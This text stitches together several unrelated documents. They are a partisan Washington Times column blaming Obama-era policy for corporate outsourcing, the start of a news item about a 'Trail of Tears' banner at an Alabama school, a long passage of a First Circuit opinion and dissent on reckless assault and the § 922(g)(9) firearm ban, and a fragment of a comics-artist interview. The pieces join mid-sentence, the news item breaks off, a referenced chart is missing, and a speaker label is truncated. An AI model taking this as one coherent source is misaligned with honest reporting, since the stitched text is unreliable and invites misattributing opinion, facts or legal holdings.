Seriously, this is a long-overdue discussion. The irony is that the president wants to have it. This is a manifestation of how little the modern Democratic Party knows about this subject and how far it has strayed from where it was a mere decade ago. If the president understood anything about outsourcing, he probably would run from it as if it were the plague, or worse. That is simply because the policies of the modern Democratic Party — in particular, those that the president champions — are at the heart of the outsourcing problem.
American companies outsource the production of goods and services for one simple reason — they have to compete with foreign-based competitors. If their cost structure is not competitive, their products and services cannot be competitive. Under our economic and legal system, management owes a duty to shareholders to be cost-competitive in the marketplace so the shareholders can earn a return on their investments. If they can’t, they need to find another line of business. It is a pretty simple formula. Everyone with meaningful experience in the private sector knows it. Our sitting president, with no such experience, does not.
Companies look at a variety of costs when they consider where to locate production. Taxes, regulatory burdens, labor costs and relations, the legal structure, energy and infrastructure are important among them. Countries (as opposed to companies) like Germany, for example, that are genuinely interested in maintaining and promoting their industrial base, pay attention to those factors and consider them in the development and implementation of their economic policies. Their secret formula is to eliminate as many of the incentives to outsource as they can. Imagine that.
For its part, Washington doesn’t like to worry about this issue. American politicians like to talk about the need for U.S.-based companies to be competitive but generally are unwilling or unable to acknowledge government’s role in those efforts, much less to do anything about it. As for the bureaucracy, you won’t find a discussion of it in the Federal Register. In fact, important constituencies actually promote policies that make the United States a less, not more, competitive location for industry. Those constituencies seem to rule the Democratic Party.
Take taxes as an example. Corporations are supposed to be vehicles for the accumulation of productive capital. In the United States, they aren’t. A federal corporate tax rate of 35 percent is not only counterproductive, it is insane. It is one of the highest corporate tax rates in the world. There is a message here. The United States is one of the last places on the planet where productive capital should want to be. So outsourcing looks not only prudent, but downright necessary. What is the president’s answer to that, you might ask? He wants to apply that same confiscatory rate to all of the global activities of U.S.-based corporations. That would make them even less competitive with foreign companies, of course. But he does not know that. He has never been part of the private sector.
The corporate tax rate is so high that most businesses in the United States elect to be taxed as individuals. They can be more competitive that way. That makes no sense, and it makes it impossible to develop rational tax policy. You can’t raise tax rates on overpaid movie stars without hurting small businesses and job generators. But the president doesn’t know that, either. Community organizers, whatever they do, do not contribute to economic growth.
As far as regulatory burdens go, this administration has unleashed the furies of the bureaucracy on a helpless private sector. The administration’s answer seems to be that considering the costs of its regulatory initiatives is a “false choice.” On labor and the legal system, we all know the answer. Germany recently reformed its labor rules to make itself more competitive and would not tolerate an irresponsible legal system. Its producers do well in global markets. Ours don’t quite.
On the important questions of energy and infrastructure, the administration actually had, and squandered, opportunities to make a difference. It killed a North American energy pipeline because the environmental lobby objected to the form of energy. Its regulators are threatening American sufficiency in clean natural gas. Democrats preferred to spend billions in stimulus funds on bribing their public-sector constituencies rather than on investing in critically important infrastructure. We know why: Most infrastructure work is done by the private sector. It’s doing fine, Mr. Obama says. And to make matters worse, the stimulus program was so poorly managed that significant “investments” of those public funds were made overseas. So who is the problem, exactly?
The president has a response to all those who dare to make rational economic decisions in response to irrational political ones: punishment. If they move jobs overseas, he will raise their taxes. If a company chooses to relocate overseas, a process called inversion, he will raise its taxes. If individuals decide they have had enough, he will impose tax penalties on them, too. You can check out anytime you want, but you never can leave.
The economically and politically bankrupt state we used to call the Soviet Union had an Iron Curtain. America may soon have its own version — a copper curtain. Washington needs all the pennies you can spare and then some, thank you. The problem is that it did not work with the Soviet Union and it won’t work here. Just ask that prominent, well-rewarded and aptly named Democratic donor, Denise Rich, who renounced her U.S. passport. Faced with irrational economic leadership, people and businesses will still go elsewhere. If you are dumb enough to think differently, just vote for more and find out.
When the American public really focuses on this issue, it may well become the bane of the Obama campaign instead of a gift from Bain. We’ll see. Let the discussion begin.
Warren L. Dean Jr. is a lawyer and an adjunct professor at Georgetown Law Center.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.An Alabama high school principal issued an apology Monday after an offensive "Trail of Tears" banner featured at the school’s football game Friday went viral.
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Tod Humphries, the principal at McAdory High School in McCalla, Ala |
so a completed “use of physical force” is not always or ordinarily present. Id.
Simply put, we are aware of no case—including the cases in Castleman footnote 8—in conflict with Booker's holding that a reckless misdemeanor assault satisfies § 922(g)(9)'s particular definition of a “misdemeanor crime of domestic violence.” Rather, § 922(g)(9)'s unique context, as described in Castleman and supported by the legislative history, suggests that § 922(g)(9) should be interpreted more broadly than other provisions, including § 16.
B. Structure of Castleman
The defendants present a second argument, which is that Castleman's analytical approach to the term “use of physical force” means the conduct of neither defendant here could meet that standard. Castleman held that Congress intended to incorporate the common law meaning of “force” in § 921(a)(33)(A), the definitional provision for “misdemeanor crime of domestic violence.” 134 S.Ct. at 1410. “[A]bsent other indication, ‘Congress intends to incorporate the well-settled meaning of the common law terms it uses.’ “ Id. (quoting Sekhar v. United States, 133 S.Ct. 2720, 2724 (2013)) (internal quotation mark omitted). As a result, the statutory term “physical force” is satisfied by “the degree of force that supports a common-law battery conviction.” Id. at 1413. The parties agree that, under Castleman, the term “use of physical force” also incorporates the common law mens rea for battery.
The parties approach this as a generalized question. They disagree about whether reckless acts could or could not constitute batteries at common law, and each side marshals support for its view. See, e.g., Johnson v. United States, 559 U.S. 133, 139 (2010); Lynch v. Commonwealth, 109 S.E. 427, 428 (Va.1921); Commonwealth v. Hawkins, 32 N.E. 862, 863 (Mass.1893); 2 Wayne R. LaFave, Substantive Criminal Law § 16.2(c)(2); 3 William Blackstone, Commentaries *120.
We decline the parties' invitation to define the mens rea of a common law battery independent of the interpretation Maine gives its own statute. Castleman explains that the term “use of physical force” includes “the type of conduct that supports a common-law battery conviction.” 134 S.Ct. at 1411. Castleman also explains that Congress incorporated “the common-law meaning of ‘force.’ “ Id. at 1410. Castleman holds that the term “use of physical force” includes both causing bodily injury and offensive contact. Defendants concede that reckless causation of bodily injury is a use of physical force. We see no reasoned argument that offensive physical contact does not similarly entail the use of force simply because it is inflicted recklessly as opposed to intentionally.
We follow the statutory scheme in evaluating whether a conviction under the Maine statute categorically counts as a “misdemeanor crime of domestic violence.”
1. The Scope of a “Misdemeanor Crime of Domestic Violence”
As Castleman explained, § 922(g)(9) is a statute with a particular purpose: to ensure that domestic abusers convicted of misdemeanors, in addition to felonies, are barred from possessing firearms. 134 S.Ct. at 1408–12. “[B]ecause perpetrators of domestic violence are ‘routinely prosecuted under generally applicable assault or battery laws,’ “ id. at 1411 (quoting Hayes, 555 U.S. at 427), we think Congress intended the firearm prohibition to apply to those convicted under typical misdemeanor assault or battery statutes. See id. at 1411, 1413. That encompasses assault statutes for those states that allow conviction with a mens rea of recklessness where recklessness is defined as including a degree of intentionality. A victim of domestic violence often encounters the perpetrator again, and a broader reading of § 922(g)(9)'s mens rea requirement better ensures that a perpetrator convicted of domestic assault is unable to use a gun in a subsequent domestic assault. If Congress had wanted to impose a higher mens rea, it could have done so explicitly, as it did in the immediately preceding section of the bill that established § 922(g)(9). Booker, 644 F.3d at 18 & n. 5.
This view is confirmed by the legislative history of § 922(g)(9). Senator Lautenberg explained that § 922(g)(9) was a broad prohibition covering “any person convicted of domestic violence,” without reference to a particular mental state. 142 Cong. Rec. S10377–01 (1996). Another senator made statements to the same effect. See id. Additionally, Senator Lautenberg described the law's application to scenarios without clear intent, in which domestic arguments “get out of control,” “the anger will get physical,” and one partner will commit assault “almost without knowing what he is doing.” 142 Cong. Rec. S11872–01 (Sept. 30, 1996). Such conduct may not be “knowing,” but it nonetheless constitutes a “use” of physical force—whether it causes offensive contact or bodily harm.
2. Maine's Definition of “Recklessness”
Whatever the common law meaning of battery as to recklessness, Maine characterizes recklessness as a mens rea involving a substantial amount of deliberateness and intent. The statutory definition requires that a person “consciously disregard[ ] a risk that the person's conduct will cause” the result. Me.Rev.Stat. Ann. tit. 17–A § 35(3)(A) (emphasis added). The disregard of the risk is “viewed in light of the nature and purpose of the person's conduct and the circumstances known to the person.” Id. § 35(3)(C) (emphasis added). Further, it must “involve a gross deviation” from the standard of reasonable care. Id.
Maine's definition of “recklessly,” like its definition of “knowingly,” includes an element of intentionality and specificity. To act “knowingly” in Maine, the person must be aware that the result is “practically certain” to occur. Id. § 35(2)(a). Maine's definitions of knowingly as contrasted with recklessly differ primarily in their description of the degree of the person's awareness of the likelihood that the result will occur. Cf. 2 LaFave, Substantive Criminal Law, § 5.4(f). To act knowingly and recklessly, but not negligently, the person must be aware of the risk: the recklessness definition requires reference to “the nature and purpose of the person's conduct and the circumstances known to the person.” Maine's Supreme Judicial Court has made clear that the recklessness inquiry focuses on the person's “subjective state of mind.” Stein v. Me. Criminal Justice Acad., 95 A.3d 612, 618 (Me.2014) (quoting State v. Goodall, 407 A.2d 268, 280 (Me.1979)) (internal quotation mark omitted); see State v. Hicks, 495 A.2d 765, 771 (Me.1985) (comparing the subjective test for recklessness with the objective test for negligence).
For example, the Maine Supreme Judicial Court has affirmed a conviction for “act[ing] recklessly when [the defendant] shot a powerful handgun into the woods in a residential area and in the direction of his next-door neighbor's home, knowing where it was located.” State v. Kline, 66 A.3d 581, 584 (Me.2013) (citing Me.Rev.Stat. Ann. tit. 17–A § 35). It also affirmed a conviction for reckless conduct with the use of a dangerous weapon when the defendant “drove his van alongside the victim's vehicle, remaining there ․ [,] used his van to push the victim's vehicle into heavy oncoming traffic, and made contact with that vehicle at least once.” State v. York, 899 A.2d 780, 783 (Me.2006).
Maine's definition of recklessness includes a volitional component. In this, it is like other states. See Fernandez–Ruiz, 466 F.3d at 1141 (Wardlaw, J., dissenting) (collecting cases). Notwithstanding Leocal, some judges found that even § 16 encompassed reckless predicate convictions. In Fernandez–Ruiz, four dissenting judges of the Ninth Circuit observed that Arizona's definition of recklessness, like Maine's, requires that the person “be aware of a substantial and unjustifiable risk and affirmatively choose to act notwithstanding that risk.” Id. Recklessness includes an “volitional, active decision, which necessarily involves ‘a higher degree of intent than negligent or merely accidental conduct.’ “ Id. (quoting Leocal, 543 U.S. at 9); accord Bejarano–Urrutia v. Gonzales, 413 F.3d 444, 449–50 (4th Cir.2005) (Niemeyer, J., dissenting) (“Unlike a person who accidentally injures another person, a person who acts recklessly in bringing about harm to another is aware of the nature of his conduct and thus can be said to be ‘actively employ[ing]’ the physical force that results in injury ‘against another.’ “ (alteration in original) (quoting Leocal, 543 U.S. at 9)).
3. Categorical Comparison
We conclude that reckless assault in Maine is “use of physical force” within the meaning of a “misdemeanor crime of domestic violence.” As noted above, § 922(g)(9) is meant to embrace those seemingly minor predicate acts, occurring sometimes in moments of passion, where the perpetrator consciously disregarded a risk in light of known circumstances. This often constitutes domestic violence. Reckless assaults in Maine fit that congressional intent for § 922(g)(9), including the paradigm of a domestic assault as described by Senator Lautenberg. As the dissenting judges on the Ninth Circuit, concerned with a different federal statute, explained:
“Domestic abusers may be drunk or otherwise incapacitated when they commit their crimes, and they may plea bargain down from a felony to a misdemeanor or from a statute that requires a mens rea of intentionality to one that can be satisfied by recklessness. But this does not alter the nature of domestic violence as a crime involving the use of force against someone in a domestic relationship․”
Fernandez–Ruiz, 466 F.3d at 1139 (Wardlaw, J., dissenting).
Defendants' position assumes that a reckless act cannot be an act of domestic violence because it lacks volition. But that is not true. For example, suppose Maine convicts a husband for throwing a knife toward his wife, intending to instill fear rather than to cause physical injury, but actually striking her. The mens rea of the conviction would likely be recklessness: in light of the circumstances known to the husband, he consciously disregarded the risk of harm. Such a reckless assault can “subject one intimate partner to the other's control,” Castleman, 134 S.Ct. at 1411, and is the type of conduct included in § 922(g)(9) even though the husband did not intend to cause bodily injury or offensive contact. Similarly, if Maine prosecutes and convicts a parent for assault for waving a lit cigarette near a child in anger, the cigarette touching and burning the child, that conviction in context may well be an act of domestic violence.
The defendants focus their analysis on assaults involving reckless causation of offensive physical contact, rather than bodily injury. We do not see why that distinction is material to the analysis here. The issue is whether § 922(g)(9) encompasses reckless uses of force, regardless of whether the use of force results in bodily injury or an offensive physical contact. If the husband's knife grazes his wife or harms her grievously, it is an assault all the same.
As a practical matter, it is hard to identify a case of reckless assault in the domestic context that Maine would prosecute but that Congress did not intend to serve as a § 922(g)(9) predicate. See James v. United States, 550 U.S. 192, 208 (2007) (explaining that the categorical approach focuses on “the ordinary case,” not “every conceivable factual offense covered by a statute”); United States v. Fish, 758 F.3d 1, 6 (1st Cir.2014) (“[I]n assessing whether the elements of the candidate proposed as a predicate crime are overbroad, we need not consider fanciful, hypothetical scenarios.”). Maine will not prosecute all “[m]inor uses of force.” Castleman, 134 S.Ct. at 1412; see Flores v. Ashcroft, 350 F.3d 666, 672 (7th Cir.2003) (Evans, J., concurring) (“[P]eople don't get charged criminally for expending a newton of force against victims. [The defendant] actually beat his wife․”). But some grabbing and slapping “accumulat[es] ․ over time,” “subject[ing] one intimate partner to the other's control.” Castleman, 134 S.Ct. at 1412. When it eventually “draws the attention of authorities and leads to a successful prosecution for a misdemeanor offense, it does not offend common sense or the English language to characterize the resulting conviction as a ‘misdemeanor crime of domestic violence.’ “ Id. After all, not all assaults will serve as § 922(g)(9) predicates, but only those occurring in the domestic context.
To be clear, we do not decide that, on the spectrum from negligence to intentional acts, recklessness is always closer to the latter. Cf. Fernandez–Ruiz, 466 F.3d at 1141–42 (Wardlaw, J., dissenting) (“Recklessness is a distinct mens rea, which lies closer to intentionality than to negligence.”). We also do not decide that recklessness in the abstract is always enough to satisfy § 922(g)(9). We decide only that the Maine definition is sufficiently volitional that it falls within the definition of “use of physical force” applied in § 922(g)(9). See Booker, 644 F.3d at 18.
C. Our Recent Decision in Carter Does Not Help the Defendants
In United States v. Carter, 752 F.3d 8 (1st Cir.2014), we encountered similar facts to this case. We remanded for the district court to determine whether the defendant had indeed been convicted of a reckless assault. The opinion noted that Castleman “casts doubt” upon Booker, but it explicitly did “not decide” the question before this court. Id. at 18 & n. 11. Now, squarely presented with the issue and having reviewed Castleman, we resolve the question left open by Carter.
III.
The defendants make three constitutional arguments, none of which are successful.
First, the defendants renew their prior argument that § 922(g)(9) violates the Second Amendment as applied to them. They explicitly raise the argument only to preserve it, and for good reason: it is “foreclosed by binding precedent in this circuit.” Carter, 752 F.3d at 13; see Armstrong, 706 F.3d at 7–8; Booker, 644 F.3d at 22–26.
Second, the defendants offer a “gloss” on their earlier argument. They suggest that Castleman held that the link between non-violent misdemeanors and domestic violence involving firearms is extremely tenuous, and they argue that such a tenuous link cannot support the law's constitutionality. To the contrary, Castleman explained that the link between non-violent misdemeanors and domestic violence involving firearms is “sobering,” and hardly tenuous. 134 S.Ct. at 1409.
The defendants also raise an argument outside the scope of the Supreme Court's remand. They claim that § 922(g)(9) violates the Fifth Amendment, Sixth Amendment, and Ex Post Facto Clause because the determination that the predicate crime involves domestic violence is made at the time of the § 922(g)(9) conviction, rather than at the time of the predicate conviction.
We have discretion to reexamine issues beyond the scope of the Supreme Court's specific remand order when “necessary to avoid extreme injustice.” United States v. Burnette, 423 F.3d 22, 25 n. 6 (1st Cir.2005) (quoting United States v. Estevez, 419 F.3d 77, 82 (1st Cir.2005)) (internal quotation mark omitted). But “[t]here is no injustice in refusing to reexamine a carefully considered decision based on the same arguments that we have already rejected.” Id. at 25 n. 6. The Supreme Court has already rejected arguments very similar to the defendants' in United States v. Hayes, 555 U.S. 415, 421 (2009).
The defendants argue that Hayes was implicitly overruled by a recent Supreme Court decision, Descamps v. United States, 133 S.Ct. 2276 (2013). Hayes held that the determination that an earlier conviction involved a domestic relationship is an element of § 922(g)(9), not the predicate conviction. 555 U.S. at 418. Descamps limited the extent to which courts can look at the facts underlying the predicate conviction to determine whether they fit the subsequent conviction, under the modified categorical approach. 133 S.Ct. at 2281–82. The defendants argue that, as in Descamps, the subsequent court may not evaluate the predicate conviction to determine a fact about it—here, whether it involved a domestic relationship.
We reject this argument. Whether the predicate conviction involved a domestic relationship is not a fact about the predicate conviction discerned through application of the modified categorical approach, in violation of Descamps. It is an element proved anew in the § 922(g)(9) proceeding.
IV.
The question before us is a narrow one. We are asked to decide whether a conviction for reckless assault against a person in a domestic relationship in Maine constitutes a federal “misdemeanor crime of domestic violence.” Congress in passing the Lautenberg Amendment recognized that guns and domestic violence are a lethal combination, and singled out firearm possession by those convicted of domestic violence offenses from firearm possession in other contexts. Castleman recognizes as much.
For the reasons stated above, we affirm the judgments of guilt.
So ordered.
The majority fails to adequately justify its departure from the Supreme Court's direction and the analogous decisions of our sister circuits. Indeed, the Supreme Court's message is clear. In United States v. Castleman, 134 S.Ct. 1405 (2014), the Court noted that we are the only outlying circuit on this question: our prior precedent is inconsistent with every other circuit court to consider the issue. See id. at 1414 n. 8 (contrasting our past position with that of the Second, Third, Fourth, Fifth, Sixth, Seventh, Eighth, Ninth, Tenth, and Eleventh Circuit Courts of Appeals, which have “uniformly held that recklessness is not sufficient” to “constitute a ‘use’ of force”). The Court then remanded the instant cases for reconsideration in light of Castleman, see United States v. Armstrong, 134 S.Ct. 1759 (2014), implicitly suggesting that we bring our holdings in line with the other federal circuit courts of appeals. We are obligated to heed the Supreme Court's direction. See McCoy v. Mass. Inst. of Tech., 950 F.2d 13, 19 (1st Cir.1991) (“[F]ederal appellate courts are bound by the Supreme Court's considered dicta almost as firmly as by the Court's outright holdings, particularly when, as here, a dictum is of recent vintage and not enfeebled by any subsequent statement.”). Not only are the Supreme Court's instructions mandatory, but the legal reasoning and analysis in the cases cited by the Court are also correct.
On remand, this case requires us to answer, at the very least, one question of statutory interpretation: whether a Maine conviction for the “reckless” causation of an “offensive physical contact” necessarily involves the “use or attempted use of physical force” as required to establish a “misdemeanor crime of domestic violence” for purposes of 18 U.S.C. § 922(g)(9). The majority fails to persuasively explain why, in all cases, the merely reckless causation of offensive physical contact categorically must involve the “use or attempted use of physical force,” 18 U.S.C. § 921(a)(33)(A), particularly in light of the host of cases strongly suggesting otherwise. As explained herein, these cases hold that the “use” of physical force requires the active or intentional employment of force, which cannot be satisfied by merely reckless conduct.
Confronting this question, we are not acting upon an empty stage; rather, we must start with the backdrop painted by the Supreme Court in Castleman, which is the basis for the instant remand. Indeed, the Castleman Court questioned whether the “merely reckless causation” of even bodily injury—much less offensive physical contact—could constitute the “use” of force, noting that “the Courts of Appeals have almost uniformly held that recklessness is not sufficient,” because the “use” of force requires a greater degree of intentionality. Castleman, 134 S.Ct. at 1414 & n. 8.
Although the majority opinion correctly observes that those circuit court cases involved different statutes, the operative language is nearly identical and the majority fails to persuasively explain why the result should be different here. All of the analogous cases involved the “use” of “force,” and most interpreted 18 U.S.C. § 16. See id. at 1414 n. 8 (listing cases). Several of these cases analyzed § 16(a), which defines a “crime of violence” as “an offense that has as an element the use, attempted use, or threatened use of physical force against the person or property of another.” 18 U.S.C. § 16(a). That language is materially indistinguishable, as relevant here, from the Lautenberg Amendment's definition of a “misdemeanor crime of domestic violence” as an offense that “has, as an element, the use or attempted use of physical force.” 18 U.S.C. § 922(g)(9); id. § 921(a)(33)(A). “[W]hen Congress uses the same language in two statutes having similar purposes, ․ it is appropriate to presume that Congress intended that text to have the same meaning in both statutes.” Smith v. City of Jackson, Miss., 544 U.S. 228, 233 (2005).
The majority opinion concedes that this case presents a “close” question. Ante, at 3. I agree. Given the Supreme Court and circuit court cases interpreting similar statutes and holding that merely reckless conduct is insufficient to constitute the “use” of physical force, I believe that the rule of lenity also forecloses the defendants' convictions here. Indeed, it is a “familiar principle” that “ ‘ambiguity concerning the ambit of criminal statutes should be resolved in favor of lenity’ “ towards the accused. Skilling v. United States, 561 U.S. 358, 410 (2010) (quoting Cleveland v. United States, 531 U.S. 12, 25 (2000)). The rule of lenity bars courts from giving the text of a criminal statute “a meaning that is different from its ordinary, accepted meaning, and that disfavors the defendant.” Burrage v. United States, 134 S.Ct. 881, 891 (2014). In my view, by permitting a conviction based on the reckless causation of offensive physical contact, the government and the majority seek to give the “use ․ of physical force” a meaning different from that phrase's ordinary meaning. The ordinary meaning of the “use” of physical force requires the intentional employment of force, and not the merely accidental, negligent, or reckless use of such force. Cf. Leocal v. Ashcroft, 543 U.S. 1, 4 (2004) (giving an ordinary and natural reading to the phrase “ ‘use ․ of physical force against the person or property of another,’ “ and holding that this phrase requires “a higher degree of intent than negligent or merely accidental conduct” (quoting 18 U.S.C. § 16(a))); id. (explaining that “ ‘use’ requires active employment,” and reasoning that “a person would ‘use ․ physical force against’ another when pushing him ․ [but not] by stumbling and falling into him”); García v. Gonzales, 455 F.3d 465, 468 (4th Cir.2006) (holding that “the use ․ of physical force” requires the intentional employment of physical force). Moreover, given that the Supreme Court has stated that (1) “the merely reckless causation of bodily injury ․ may not be a ‘use’ of force,” and (2) “the Courts of Appeals have almost uniformly held that recklessness is not sufficient” to constitute the “use” of force, Castleman, 134 S.Ct. at 1414 & n. 8, I cannot see how the proper application of the rule of lenity permits affirmance of the defendants' convictions.
I express no opinion here on whether the “use” of physical force is satisfied by either the reckless causation of bodily injury or the intentional or knowing causation of offensive physical contact. Rather, I confine my inquiry to one subsumed offense under the Maine assault statutes: the reckless causation of offensive physical contact. Although the majority states that they fail to see why the distinction between “bodily injury” and “offensive physical contact” “is material to the analysis here,” ante, at 22, I explain herein why that distinction matters. See infra Section II(B)(1). Namely, even if recklessness were a sufficient mens rea for purposes of bodily injury, a conviction under the Lautenberg Amendment nonetheless cannot rest on the reckless causation of offensive physical conduct in Maine.
The Supreme Court has stated that, under the Lautenberg Amendment, Congress classified as a “ ‘misdemeanor crime of domestic violence’ “ “the type of conduct that supports a common-law battery conviction.” Castleman, 134 S.Ct. at 1411. The Supreme Court has further explained that “the common-law crime of battery ․ consisted of the intentional application of unlawful force against the person of another.” Johnson v. United States, 559 U.S. 133, 139 (2010) (emphasis added); see also United States v. Bayes, 210 F.3d 64, 69 (1st Cir.2000) (“[T]he common law provided that an assault committed by way of a battery did not require an intent to cause or to threaten an injury as long as the defendant touched another in a deliberately offensive manner without a valid reason to do so.”) (emphasis added); State v. Rembert, 658 A.2d 656, 658 (Me.1995) (stating that “[u]npermitted and intentional contacts ․ [are] actionable as an offensive contact”) (emphasis added); cf. Wayne R. LaFave, 2 Substantive Criminal Law § 16.2(c)(2) n. 32 (2d ed.) (“[W]ith the tort of battery an intention to injure or touch offensively is needed”); Black's Law Dictionary 182 (10th ed.2014) (defining tortious battery as a “nonconsensual, intentional, and offensive touching of another without lawful justification”) (emphasis added). To trigger a violation of the Lautenberg Amendment, therefore, the relevant precedent counsels that the offensive touch must be caused intentionally and not merely recklessly. By contrast, the Maine statutes at issue here permit conviction for recklessly causing an offensive touch. Therefore, a conviction under either of the Maine assault statutes implicated here does not categorically establish a violation of the Lautenberg Amendment. Given that the record does not permit a conclusion that the defendants' Maine convictions rested on a subsumed offense that does constitute a violation of the Lautenberg Amendment, the federal convictions at issue here cannot stand.
After giving careful consideration to the issues involved, engaging in the necessary statutory interpretation and legal analysis, and applying the relevant precedent, I heed the Supreme Court's direction and follow the lead of our sister circuits in disagreeing with the majority's conclusion. Therefore, I respectfully dissent.
I. Legal Background
A. The Statutory Framework1. The Lautenberg Amendment
The defendants here were charged with violating the Lautenberg Amendment to the Gun Control Act of 1968, now codified at 18 U.S.C. § 922(g)(9) (the “Lautenberg Amendment” or “ § 922(g)(9)”). Under the Lautenberg Amendment, it is unlawful for any person “who has been convicted in any court of a misdemeanor crime of domestic violence, to ․ possess in or affecting commerce, any firearm or ammunition.” 18 U.S.C. § 922(g)(9). For these purposes, a “misdemeanor crime of domestic violence” is further defined in 18 U.S.C. § 921(a)(33)(A) as an offense that:
(I) is a misdemeanor under Federal, State, or Tribal law; and
(ii) has, as an element, the use or attempted use of physical force, or the threatened use of a deadly weapon, committed by a current or former spouse, parent, or guardian of the victim, by a person with whom the victim shares a child in common, by a person who is cohabiting with or has cohabited with the victim as a spouse, parent, or guardian, or by a person similarly situated to a spouse, parent, or guardian of the victim[.]
Id. § 921(a)(33)(A) (emphases added).
2. The Relevant Maine Assault Statutes
The defendants argue that the relevant Maine assault statutes do not “ha[ve], as an element, the use or attempted use of physical force.” See id. Under Maine law, a defendant is guilty of “domestic violence assault” if (1) the defendant violates the Maine simple assault provision, and (2) “the victim is a family or household member.” See Me.Rev.Stat. tit. 17–A, § 207–A(1)(A).
Turning to the simple assault provision in the Maine Criminal Code, a person is guilty of “assault” if “[t]he person intentionally, knowingly or recklessly causes bodily injury or offensive physical contact to another person.” See § 207(1)(A). Thus, there are six different, divisible permutations of the Maine simple assault statute, each of which can form the basis for a section 207 assault conviction. United States v. Carter, 752 F.3d 8, 17–18 (1st Cir.2014) (“The Maine general-purpose assault statute is divisible into six permutations of subsumed offenses, based on the combination of one element from each of two categories: (1) mens rea (‘intentionally, knowingly or recklessly’), and (2) actus reus (‘causes bodily injury or offensive physical contact to another person’).” (quoting § 207(1)(A))). These six subsumed offenses are illustrated in the following chart:
The six variants of the Maine simple assault statute:
In Maine state court, Armstrong was convicted of Maine domestic-violence assault under section 207–A, and Voisine was convicted of Maine simple assault under section 207. These prior convictions served as the predicate offenses for the defendants' § 922(g)(9) charges, which are the subject of the instant appeal. A simple assault statute lacking a domestic-relationship element (such as Voisine's prior offense of conviction in Maine) can nonetheless serve as the predicate offense for a misdemeanor crime of domestic violence, so long as the domestic-relationship element is proved in the subsequent federal prosecution. See United States v. Hayes, 555 U.S. 415, 418 (2009) (holding “that the domestic relationship, although it must be established beyond a reasonable doubt in a § 922(g)(9) firearms possession prosecution, need not be a defining element of the predicate offense”).
B. The Categorical and Modified Categorical Approaches
Given the foregoing statutory framework, we must analyze whether the elements of the Maine assault statute necessarily fulfill the requirements of the Lautenberg Amendment. In cases such as this-where a court must decide whether a prior conviction for an earlier offense (like assault) satisfies one of the elements of the offense in a subsequent prosecution (here, for example, whether the earlier offense “has, as an element, the use ․ of physical force,” 18 U.S.C. § 921(a)(33)(A))—the court determines whether it is appropriate to apply the categorical approach or the modified categorical approach.
1. The Categorical Approach
In Taylor v. United States, 495 U.S. 575, 600 (1990), the Supreme Court described the categorical approach, under which courts “look[ ] only to the statutory definitions of the prior offenses, and not to the particular facts underlying those convictions.” See also United States v. Dávila–Félix, 667 F.3d 47, 56 (1st Cir.2011) (same). If the “statutory definition” of the prior offense necessarily meets the requirements of the subsequent offense at issue, then the court can determine that a conviction for the prior offense categorically constitutes a valid predicate offense for purposes of the later prosecution. See Castleman, 134 S.Ct. at 1414.
2. The Modified Categorical Approach
Some statutes, like the Maine assault statutes at issue here, are “divisible”: they “set[ ] out one or more elements of the offense in the alternative.” See Descamps v. United States, 133 S.Ct. 2276, 2281 (2013). For these statutes, some permutations or variants of the subsumed offenses may categorically meet the requirements of the subsequent offense, whereas others may not. Accordingly, for these divisible statutes, courts may apply the “modified categorical approach” to determine which variant or subsumed offense formed the basis for the prior conviction, and thus whether that prior conviction can serve as a valid predicate offense for the subsequent prosecution. See Castleman, 134 S.Ct. at 1414. Under this approach, a court may “consult [ ] the trial record—including charging documents, plea agreements, transcripts of plea colloquies, findings of fact and conclusions of law from a bench trial, and jury instructions and verdict forms”—in order to “determine which statutory phrase was the basis for the conviction” under such a divisible statute. Johnson, 559 U.S. at 144. These documents are often called “Shepard documents,” after Shepard v. United States, 544 U.S. 13 (2005) (plurality opinion). See, e.g., Carter, 752 F.3d at 19–20 & 19 n. 12.
3. Application
Under established precedent not called into doubt by Castleman and not challenged here, certain subsumed offenses under the Maine assault statutes (such as the intentional or knowing causation of bodily injury) are unequivocally valid predicate offenses for the Lautenberg Amendment. See Castleman, 134 S.Ct. at 1415 (“It is impossible to cause bodily injury without applying force in the common-law sense,” and “the knowing or intentional application of force is a ‘use’ of force.”). If the Shepard documents showed that the defendants' prior assault convictions were for those particular subsumed offenses, for example, then we would be able to apply the modified categorical approach and affirm the defendants' Lautenberg Amendment convictions without reaching the recklessness issue. See Carter, 752 F.3d at 18 n. 11 (reasoning that under the modified categorical approach, if the Shepard documents showed that the defendant's prior Maine conviction was for intentional or knowing conduct, then the court could affirm his conviction under the Lautenberg Amendment). The parties agree, however, that the Shepard documents for Armstrong's and Voisine's underlying Maine convictions are inconclusive and do not reveal which variants of the Maine assault statutes served as the bases for their convictions. Therefore, the modified categorical approach cannot resolve this appeal.
Rather, we must apply the categorical approach to determine whether the statutory definitions of the Maine assault provisions necessarily include the “use or attempted use of physical force.” See 18 U.S.C. §§ 921(a)(33)(A), 922(g)(9); see also Castleman, 134 S.Ct. at 1414. Under the categorical approach, if any one of the six variants of the Maine assault statute does not necessarily constitute the “use ․ of physical force,” then the defendants' convictions must be reversed. Put differently, to affirm the defendants' convictions under the categorical approach, all of the subsumed offenses under the Maine statute must have the “use or attempted use of physical force” as an element. 18 U.S.C. §§ 921(a)(33)(A); see also United States v. Holloway, 630 F.3d 252, 257 (1st Cir.2011) (stating that under the categorical approach, “the [prior] conviction may only serve as a predicate offense if each of the possible offenses of conviction would qualify” as individually satisfying the offense in the subsequent prosecution (citing Shepard, 544 U.S. at 26)). The defendants focus their argument on the sixth and least severe subsumed offense: the “reckless” causation of “offensive physical contact.” Therefore, we must apply the governing precedent to decide whether this statutory definition necessarily involves the “use ․ of physical force.”
C. The Supreme Court's Decisions in Leocal and Johnson
The Supreme Court's opinions in Leocal v. Ashcroft, 543 U.S. 1 (2004), and Johnson v. United States, 559 U.S. 133 (2010), provided foundational reasoning for subsequent cases relevant to this appeal. In both of these cases, the Supreme Court engaged in statutory interpretation to determine whether the offenses underlying prior state convictions |
SUMI: Slapstick, yeah, basically slapstick. And I was working with single-panel, and four-panel comics. So typically, in the newspapers, they have four-panel comics, and there was one contest that was organized by the author of Sazae-San. Do you know Sazae-San?
GROTH: No.
TATSUMI: It’s the Japanese equivalent of Blondie, basically. It depicts kind of a middle-class …
GROTH: Domestic situation?
TATSUMI: A domestic situation. And it was immensely popular. Much later on it would also become a [TV] show, but at one point, the author, Machiko Haseagawa, stopped running the strip in the paper. It was published in Asahi Shimbun paper, and the readers were so upset, that she had to start publishing it again in the paper. They wouldn’t let her quit. So she ran a contest that was only for women, and it had really, really good prize money.
GROTH: So you submitted!
